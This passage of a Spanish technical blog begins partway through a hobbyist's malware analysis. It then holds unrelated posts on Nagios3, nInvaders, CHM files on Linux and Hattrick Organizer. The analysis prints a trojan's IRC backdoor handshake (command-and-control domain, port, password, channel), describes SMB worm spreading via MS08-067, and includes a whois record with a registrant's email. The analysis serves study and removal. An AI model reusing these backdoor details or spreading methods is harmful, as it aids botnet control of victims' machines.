El troyano intenta resolver el dominio ninjaworlord.com usando el DNS configurado en la máquina infectada. Dicho dominio existía y fué resuelto como 75.150.126.241.

Luego, el troyano intenta conectarse a dicha dirección IP por el puerto TCP 4545. Haciendo un Follow TCP Stream en Wireshark obtenemos la siguiente conversación entre la máquina infectada y el host remoto:

Si se fijan bien, no es más que un diálogo IRC pero sobre el puerto 4545. Para identificarse en el host remoto usa los siguientes parámetros:

PASS h4xg4ng
NICK [00-ESP-XP-3713960]
USER SP2-ixo * 0 :DESKTOP

Finalmente, ingresa en la sala #ninjas:

JOIN :#ninjas

La idea de este backdoor que abre el troyano es la de poder recibir comandos en forma remota por medio de esta conexión IRC.

Sin embargo, he estado a la espera de algún comado remoto durante varios dias sin éxito. Lo único que se traficó por este puerto fueron comandos IRC del tipo PING y PONG entre el host remoto y la máquina infectada.

El dominio ninjawarlord.com tiene dos direcciones IP a las que responde. Esto lo verifiqué con dig desde la máquina anfitrión:

$ dig ninjawarlord.com
[...]
;; QUESTION SECTION:
;ninjawarlord.com. IN A

;; ANSWER SECTION:
ninjawarlord.com. 794 IN A 207.210.112.124
ninjawarlord.com. 794 IN A 75.150.126.241


Verificando el reverso de cada IP obtuve:


dig -x 75.150.126.241
[...]
;; QUESTION SECTION:
;241.126.150.75.in-addr.arpa. IN PTR

;; ANSWER SECTION:
241.126.150.75.in-addr.arpa. 3600 IN PTR 75-150-126-241-NewEngland.hfc.comcastbusiness.net.

;; AUTHORITY SECTION:
150.75.in-addr.arpa. 59033 IN NS DNS101.COMCAST.net.
150.75.in-addr.arpa. 59033 IN NS DNS102.COMCAST.net.
150.75.in-addr.arpa. 59033 IN NS DNS103.COMCAST.net.

;; ADDITIONAL SECTION:
DNS101.COMCAST.net. 162431 IN A 68.87.64.204
DNS102.COMCAST.net. 162433 IN A 68.87.66.204
DNS103.COMCAST.net. 162433 IN A 68.87.66.204

$ dig -x 207.210.112.124
[...]
;; QUESTION SECTION:
;124.112.210.207.in-addr.arpa. IN PTR

;; ANSWER SECTION:
124.112.210.207.in-addr.arpa. 21600 IN PTR efbupdate.com.

;; AUTHORITY SECTION:
124.112.210.207.in-addr.arpa. 3600 IN NS ns2.vpsland.com.
124.112.210.207.in-addr.arpa. 3600 IN NS ns1.vpsland.com.

;; ADDITIONAL SECTION:
ns1.vpsland.com. 157633 IN A 207.210.113.180
ns2.vpsland.com. 157633 IN A 209.190.29.89


Desde el sitio Whois.Ename si hago un whois para dicho dominio:


Domain Name : ninjawarlord.com

Registrant Contact Information :
JOYCEWANG
HEBEI TAGNGUO LTD.
li_wangshang@yeah.net
JIANKANG, 300452
tel:
fax:

Administrative Contact Information :
JOYCEWANG
HEBEI TAGNGUO LTD.
li_wangshang@yeah.net
JIANKANG, 300452
tel:
fax:

Technical Contact Information :
JOYCEWANG
HEBEI TAGNGUO LTD.
li_wangshang@yeah.net
JIANKANG, 300452
tel:
fax:

Billing Contact Information :
JOYCEWANG
HEBEI TAGNGUO LTD.
li_wangshang@yeah.net
JIANKANG, 300452
tel:
fax:

Status :
clientDeleteProhibited
clientTransferProhibited

Domain Name Server :
ns1.dnsexit.com
ns2.dnsexit.com
ns3.dnsexit.com
ns4.dnsexit.com

Registration Date :2009-4-27
Expiration Date : 2010-4-27

Todo parecería demostrar que el dominio está a nombre de una empresa China (HEBEI TAGNGUO LTD), pero alojada en servidores en Inglaterra.


c) Intentos de conexión a hosts remotos por el puerto 445

El puerto TCP 445 es conocido como Microsoft-DS y es un servicio que utiliza Microsoft Windows 2000, 2003 y XP para compartir archivos e impresoras en una red, utilizando el protocolo SMB (Server Message Block) a través de TCP/IP, en lugar de utilizar NetBIOS.

Por ese puerto, el troyano intenta acceder a direcciones IP cercanas al rango de la red local de la máquina infectada.

En mi caso, la dirección IP de la máquina virtual infectada tenía una máscara 255.255.255.0. El troyano intentaba conectarse direcciones IP aleatorias de la subred 255.255.0.0. Lo llamativo es que el bicharraco provoca una inundación de paquetes TCP del tipo SYN a dichas direcciones.

A continuación vemos una captura desde Wireshark de estos intentos de conexión:


Investigando en Internet un poco, di con que este troyano intenta explotar una vulnerabilidad de este protocolo que permitiría copiar al troyano y ejecutarlo en hosts remotos por el puerto 445. Esta vulnerabilidad fue publicada en el boletín Microsoft MS08-067 del 23 de octubre de 2008.


2.7) Eliminación del troyano

La extirpación del enjendro requiere de la eliminación de los archivos dllcache.exe y sysdrv32.sys ya comentados y, por supuesto, de todas las claves del registro de Windows modificadas por el troyano.

Lo difícil es lo primero, ya que ambos archivos están ocultos para los ojos de los usuarios Windows. Pero hemos visto que con un LiveCD como Knoppix estos quedan en evidencia y podríamos eliminarlos del disco tranquilamente.

Una vez eliminados ambos archivos podríamos reiniciar desde Windows y borrar las claves del registro que han sido agregadas por el troyano. También, sería necesario verificar que tenemos instalada las últimas actualizaciones lanzadas por Microsoft para evitar que otra PC que aun se encuentre infectada transmita al troyano infección a través de la red usando la vulnerabilidad comentada.

2.8) Conclusiones

Hemos aprendido durante esta entrada que:
  • Es posible mantener un troyano, virus o software malicioso aislado y estudiar su comportamiento.
  • En este caso, hemos visto que las características descriptas por sitios especializados para el troyano en estudio es posible deducirlas mediante el uso de herramientas de código abierto y algunas privativas pero freeware.
  • Un LiveCD descente como Knoppix puede servirnos para desactivar un software malicioso y poder tomar control del sistema infectado.
Espero que haya sido del agrado de uds este artículo y quedo en espera de sus comentarios.

martes, 1 de septiembre de 2009

Monitoreo de dispositivos y servicios de red con Nagios3 (Episodio I)

Introducción

Nagios es una herramienta de código abierto que sirve para monitorear dispositivos y servicios de red (SMTP, POP3, HTTP, etc). Gracias a clientes instalables escritos para distintos sistemas operativos se puede vigilar también los recursos de sistemas como la carga de procesadores, uso de memoria, discos, entre otros.

Cuando alguno de las parámetros que se monitorean difiere de los límites establecidos como normales puede generar alarmas por correo electrónico, mensajes SMS o mensajería instantánea vía Jabber al administrador de red o del dispositivo con problemas. Con esto, podemos estar prevenidos de cualquier inconveniente en una red antes de que estallen los teléfonos.

Nagios se distribuye bajo licencia GNU General Public License Version 2. Está escrito en C y fue diseñado para correr en GNU/Linux, aunque puede correr varias plataformas Unix también.

Ethan Galstad, padre de Nagios El proyecto nació bajo el nombre de Netsaint de la mano de Ethan Galstad pero al poco tiempo tuvo que renombrarlo ya que este coincidía con una marca comercial. Así pasó a llamarse Nagios como lo conocemos hasta la fecha.

Según comenta el mismo Ethan en el FAQ oficial, Nagios es un acrónimo recursivo que significa “Nagios Ain't Gonna Insist On Sainthood”, algo así como “Nagios no insistirá con la santidad”. Esto hace referencia al antiguo nombre del proyecto: Netsaint (Saint en inglés, significa Santo).

Un significado alternativo, sugerido por Sam Tilders es “Notices Any Glitch In Our System ” (Avisa cualquier fallo de nuestro sistema).

Algunas personas han sugerido que el nombre podría derivar de la palabra griega "hagios", que significa "sagrado" o "santo". Aunque, como bien aclara en dicho foro Ethan, en griego también significa "maldito", "execrable", "digno de condena", según el diccionario griego- inglés de Henry George Liddell y Robert Scott.

Gracias a todos los santos (ya que hablamos de ellos) la pronunciación de Nagios no es tan indeterminada. En el foro oficial, Ethan Galstad explica como lo pronuncia:



De todas maneras, deja abierta la posibilidad de otras variantes. Una de ellas es la de pronunciar "nachios", que suena como "nachos" (?).


Instalación en Debian Lenny

Soy un poco conservador (sólo en cuanto a la instalción de paquetes de software) así que prefiero utilizar normalmente los paquetes propios de mi distribución, en este caso los de Debian Lenny. La versión de Nagios que incluye Debian Lenny es la 3.0.6 de diciembre 2 de 2008. La instalación, en este caso, se simplifica a ejecutar como root:

# apt-get install nagios3

Esto instalará apache2 (si no estaba instalado previamente) y el resto de paquetes y bibliotecas requeridas.

La otra opción es bajar la última versión desde la página oficial del proyecto y compilarla. Al momento de escribir estas lineas, la última versión era la 3.2.0 del 12 de agosto de 2009. No voy a explicar ese camino, ya que si tienes interés en compilar Nagios entiendo que tienes los suficientes conocimientos como para andar leyendo este tutorial.

En la instalación se nos preguntará, entre otras opciones, por el grupo de trabajo que queremos que se vea la máquina donde estamos instalando Nagios. Esto se debe a que el paquete nagios-plugins-standard requiere del paquete sambaclient y este de samba-common, que es que nos solicita esta información.

Si dudamos de que colocar en la configuración de samba-common, podemos dejar todo por defecto. No es importante esto por el momento.

A futuro, podemos ejecutar:

# dpkg-reconfigure samba-common

para volver a configurarlo.

Una vez instalado Nagios, debemos generar un usuario de acceso a la interface web:

# htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin

El comando htpasswd con la opción -c indica que se cree el archivo /etc/nagios3/htpasswd.users donde se almacenará el usuario nagiosadmin y su clave encriptada. Este comando nos solicitará ingresar una clave para dicho usuario y luego volver a ingresarla a modo de confirmación.

Podemos definir otros usuarios para que puedan acceder con el siguiente comando:

# htpasswd /etc/nagios3/htpasswd.users usuario

donde usuario es el nombre del nuevo usuario requerido para ingresar al interface web.

Noten que el comando ntpasswd va esta vez sin la opción -c ya que el archivo /etc/nagios3/htpasswd.users ya existe (si se incluye nuevamente la opción -c, el archivo previamente creado se pierde)

Ahora, desde un navegador podemos ingresar a http://IP-SERVIDOR/nagios, donde IP-SERVIDOR es la dirección IP de la máquina donde acabamos de instalar Nagios. Si esta dirección IP tiene un nombre de dominio en la red, podemos reemplazarlo por este.

Ingresando el usuario y clave que hemos creado veremos en el navegador algo como lo siguiente:


Esa es la página prinipal de la interface de Nagios.

Como vieron, es muy sencillo instalar Nagios. No ocurre lo mismo con la configuración, la cual va a ser engorrosa. Más aún dependiendo de la complejidad de la red y de que se desea monitorear.

En una futura entrada de este blog pienso explicar la configuración para una red hipotética donde poder aplicar gran parte de los conceptos necesarios para que uds puedan adaptarlos a sus necesidades.

lunes, 3 de agosto de 2009

nInvaders: Space Invaders en tu consola

Creo que no es necesario recordarles que Space Invaders fue uno de los videojuegos más exitosos de todos los tiempos. A pesar de su sencillez y escasez de gráficos siempre fue altamente adictivo.

Un clon de este juego, con características aún más minimalistas, se llama nInvaders y permite jugarlo desde una consola de tu GNU/Linux. Basado en la biblioteca ncurses, todos los gráficos están diseñados con caracteres ASCII.


Para instalarlo en Debian/Ubuntu basta con ejecutar:

# sudo apt-get install ninvaders

Para jugarlo, podemos empezar por:

# ninvaders

Si eres un iniciado podrías jugarlo en su nivel "May I play daddy?!":

# ninvaders -l 9

El objetivo es simple: hay que exterminar a los alienígenas (ese conjunto de caracteres multicolores que se mueven de un lado al otro) antes que desciendan a la Tierra (el borde inferior de la pantalla). Para ello nos valemos de un cañon que se dispara con la tecla Espacio. Además, tendremos que movernos con las teclas de flecha izquierda y derecha para evitar ser alcanzados por el fuego alienígena.


Cuatro escudos nos protegen ante el ataque enemigo, aunque se van degradando cuando son impactados por los disparos propios y ajenos.

En fin, una buena manera de malgastar tiempo de CPU. No me hago responsable si se les ocurre instalarlo en un servidor para jugarlo remotamente por SSH ;)


Enlaces:

Sitio oficial de nInvaders
Los invasores del espacio en tu terminal

jueves, 19 de marzo de 2009

Manejando archivos CHM en Linux

Buscaba un CD con información técnica que necesitaba. El primer problema fue encontrarlo entre las tortas de CD sin etiquetar (o peor, mal etiquetadas) que tengo desparramadas por toda mi casa. Luego de un par de horas de búsqueda (y de maldecir mi desorden) finalmente lo encontré.

Allí estaba el maldito archivo. Pero ahí me surgió un segundo problema: era un archivo CHM y yo tenía necesitaba abrirlo desde Linux.

Los Windowseros conocen los CHM (Microsoft Compiled HTML Help), un formato propietario de documentación de Microsoft usado generalmente para archivos de ayuda. Un archivo CHM contiene páginas enlazadas (de manera similar a la utilizada en documentos HTML) indexadas y hasta un buscador. Todo el conjunto está comprimido en LZX.

Debido a fallos de seguridad encontrados este formato, Microsoft lo cambió por uno nuevo llamado Microsoft Assistance Markup Language a partir de Window$ Vista.

El tema era como abrirlos desde mi PC con Ubuntu Intrepid Ibex...

1) Lectores de archivos CHM para Linux

Después de una breve búsqueda encontré los siguientes visores de archivos CHM:

a) GnoCHM

GnoCHM es un visor de archivos CHM escrito en Python y pensado para Gnome. Es el que finalmente elegí en mi caso. Está disponible para otras distribuciones como Fedora y Gentoo.

Para instalarlo (en Debian/Ubuntu), desde la consola ejecutamos:

sudo apt-get install gnochm

Luego de instalar, podemos ejecutarlo desde el menú Aplicaciones/Accesorios/Visualizador CHM o desde la consola tipeando gnochm.

Aquí pueden ver como se ve gnochm en acción:

b) kchmviewer

KchmViewer está escrito en C++ y requiere de las librerías gráficas Qt4 o las del escritorio KDE 4.

No tuve tiempo de probarlo. Les dejo ese trabajo a ustedes.


c) xCHM


Si no tenemos Gnome ni KDE podríamos usar xCHM. Este visor tiene la peculiaridad de ser multiplataforma, con lo cual podemos instalarlo en Window$ si queremos.

La instalación es también sencilla:

sudo apt-get install xchm

Luego de instalarlo, lo tendremos disponible (en el caso de Ubuntu) en el menú Aplicaciones/Oficina/xCHM. También podemos ejecutarlo desde la consola ingresando xchm.

Acá pueden ver como se ve xCHM:


d) Okular

Okular es una nueva aplicación (basada en KPDF) disponible en KDE 4 que nos permite leer archivos Postscript, PDF, djvu y por supuesto CHM.

En este enlace puden observar el listado completo de formatos de documentos que es posible visualizar con Okular:

http://okular.kde.org/formats.php

Si tienen Kubuntu o su Linux tiene KDE 4 esta debería ser la mejor opción.


e) CHM Viewer

CHMViewer es un agregado para Mozilla Firefox que permite visualizar estos archivos . Es útil porque, al depender de Firefox, podemos tenerlo disponible también en Window$.

Para agregarlo, vamos al menú Herramientas/Agregados. Luego, en esta ventana pulsamos el botón Obtener agregados.


Bien, en el cuadro de búsqueda escribimos chm. Esto nos traerá el agregado que buscamos. Pulsamos el botón Agregar a Firefox y luego de unos segundos aparecerá una ventana como la siguiente:



Finalmente, pulsamos el botón Instalar y reiniciamos Firefox.

Otra forma más directa es dirigirnos con Firefox a:

https://addons.mozilla.org/en-US/firefox/addon/3235

Hacemos click en el enlace Add to Firefox y seguimos los pasos que nos indica la instalación que son similares a los ya comentados.

Luego de reiniciar nuestro navegador podremos levantar archivos CHM desde el menú Archivo/Open CHM Files.

Asi veríamos un CHM con este agregado:


Si queremos tener más a mano esta opción, podemos agregarlo a la barra lateral de Firefox. Es decir, vamos al menú Ver/Barra Lateral y tildamos CHM Reader.


2) Extrayendo archivos HTML desde archivos CHM

Bien, mi problema de visualizar estos archivos estaba solucionado. Pero no quedó ahí mi inquietud y quise dar un paso más: extraer los archivos HTML que contiene el CHM. De esta manera, me independizaría de los visualizadores y podría editarlos.

Para ello, debemos instalar la librería libchm-bin:

sudo apt-get install libchm-bin

Ahora, para extraer los HTML de un archivo como pepe.chm en el directorio pepe hacemos:

$ extract_chmLib pepe.chm pepe/

En este directorio vamos a tener varios archivos y un directorios. Nos interesa en particular el directorio pepe/res/ en donde tendremos todos los HTML. El resto es información complementaria del archivo origen.


3) Convirtiendo archivos CHM a PDF

¿Podríamos transformar los CHM a PDF? ¡Por supuesto!

Para ello se necesita un script escrito en Python llamado chm2pdf.

sudo apt-get install chm2pdf

Para usarlo, necesitamos saber si el archivo es contiene HTML no estructurado o HTML estructurado. Los archivos CHM con HTML estructurado son aquellos que contienen encabezados, capítulos, etc. Para convertirlos hacemos:

a) CHM no estructurado a PDF

$ chm2pdf --webpage pepe.chm

b) CHM no estructurado a PDF

$ chm2pdf --book nombre.chm

Ambos comandos nos crearán un llamado pepe.pdf.

Ya vimos que con extract_chmLib podíamos extraer los documentos HTML. Con chm2pdf también podemos hacerlo con el siguiente comando:

$ chm2pdf –-extract-only pepe.chm

Los documentos HTML se guardarán en /tmp/chm2pdf/orig/.

Nota: Lamentablemente, esta opción no la he podido hacer andar :(

El script chm2pdf tiene muchas opciones (como por ejemplo, configurar el tamaño de página o los márgenes). Para conocerlas, ejecutamos:

$ chm2pdf --help


Enlaces:

Cómo convertir archivos CHM a PDF con chm2pdf
Convert CHM files to PDF in Linux
Viewing CHM files in Linux (With installation instructions for Ubuntu)

miércoles, 4 de marzo de 2009

Administra tu club con Hattrick Organizer

Desde el 29 de junio de 2005 que me fanatizado por Hattrick, un juego vía web donde tienes un club de fútbol al que hay que administrar económicamente e intentar hacerlo ascender a la cúspide. Así dicho es muy sencillo, pero si uno se lo toma un poco en serio (como es mi caso) se convierte en algo engorroso por la gran cantidad de variables que hay que tener en cuenta para progresar en el juego.

Por esa razón, es muy útil contar con alguna herramienta que permita mediante gráficos y cuadros que organicen los datos del club. Hasta hace poco, usaba Hattrick Control pero he perdido interés en este software ya que muchas de las características que me gustaban las sacaron de la versión freeware para añadirlas a la versión comercial. Ya saben, el primero te lo regalan el segundo te lo venden...

Eso, sumado a que no era de código abierto, sólo corría en Window$, en las descargas de los datos de mi equipo dos por tres se congelaba (y un largo etcétera) me ha llevado a la búsqueda de algún software que lo sustituya.

No tardé en encontrar Hattrick Organizer gracias a la recomendación que encontré en el sitio de Ubuntumano.

Hattrick Organizer, también conocido como HO!, está escrito en Java, lo cual lo hace independiente del sistema operativo y se distribuye con licencia Lesser GNU Public License o LGPL.

Tampoco requiere de instalación: basta bajarlo, descomprimirlo y ejecutarlo en cualquier máquina que tenga Java Runtime Environement 1.5 o superior. Para saber si lo tienen instalado, la prueba más rápida es correr desde la consola (incluso en Window$):

java -version

Con lo que tendrían que ver algo similar a lo siguiente:

java version "1.6.0_11"
Java(TM) SE Runtime Environment (build 1.6.0_11-b03)
Java HotSpot(TM) Client VM (build 11.0-b16, mixed mode, sharing)

si tenemos instalado el JRE que provee SUN.

Si eres más osado (y además usas Linux), tal vez hayas instalado el JRE de código abierto de IcedTea con lo que verías algo como:


java version "1.6.0_0"
IcedTea6 1.3.1 (6b12-0ubuntu5) Runtime Environment (build 1.6.0_0-b12)
CACAO (build 0.99.3+hg, compiled mode)

Bajamos el archivo comprimido de HO! desde aquí:

http://www.hattrickorganizer.net/en/download/

Nota: En el momento de escribir esta entrada la versión disponible era la 1.424.

Van a encontrar varios archivos para bajar. Para Window$ incluso hay una opción donde se incluye el dichoso JRE de Sun para su instalación.

Luego, sólo queda descomprimirlo en algún directorio. En mi caso, lo tengo en un pendrive para tenerlo disponible siempre.

Para ejecutarlo en Window$ ejecutamos el archivo HO.bat. En cambio, en Linux ejecutamos el script HO.sh. Pero primero le damos permisos de ejecución:

chmod +x HO.sh

La primera vez que lo ejecutemos vamos a tener que seleccionar el lenguaje con el que queremos tener HO!:


Una ventana se nos presenta para recordarnos que usemos el código de seguridad de nuestro usuario en Hattrick y no la clave. Este código de seguridad es usado por este tipo de aplicaciones que se conectan a los servidores del juego y que permiten un acceso restringido de sólo lectura.


La última ventana emergente nos comenta:


Ahora si, después de esto, ya tendremos la aplicación corriendo:


Vamos a bajar los primeros datos de nuestro club. Para ello, vamos al menú Archivo/Bajar (o pulsamos F11):


Pulsamos el botón Bajar:


Ahora, ingresamos el usuario que tenemos en Hattrick y el código de seguridad. Pulsamos el botón Conectar y en unos segundos tendremos la información disponible de nuestro glorioso equipo:


No voy a entrar en detalles de como usar HO! ya que hay varios tutoriales en la red. Para los interesados, les recomiendo el Manual de HO.

No quiero cerrar este tema sin comentarles acerca de los plugins que podemos agregarle a esta aplicación que nos proveerán de otras herramientas útiles. Las instalamos desde el menú Archivo/Plugins/Actualizar/Plugins que nos mostrará una ventana donde podemos activar los plugins que queremos agregar. En la siguiente imagen podemos observar que he seleccionado a todos (los que están desactivados son los que vienen por defecto ya instalados):


Luego de seleccionarlos pulsamos el botón Aplicar. Finalmente, luego de unos segundos, se nos solicitará que cerremos y volvamos a ejecutar el programa:


Ahora HO! tendrá una apariencia como la siguiente:


Y si hay alguno que se me anime a un reto, mi club en Hattrick es Albinegros (831666).


Enlaces:

Sitio oficial de Hattrick: http://www.hattrick.org/
Sitio de Hattrick Organizer: http://www.hattrickorganizer.net/
Foro oficial de Hattrick Organizer: http://forum.hattrickorganizer.net/
Manual en español de HO!: http://mho.ya.st/
Herramientas de Hattrick en Ubuntu: http://ubuntumano.net23.net/2008/10/13/mis-herramientas-de-hattrick-en-ubuntu/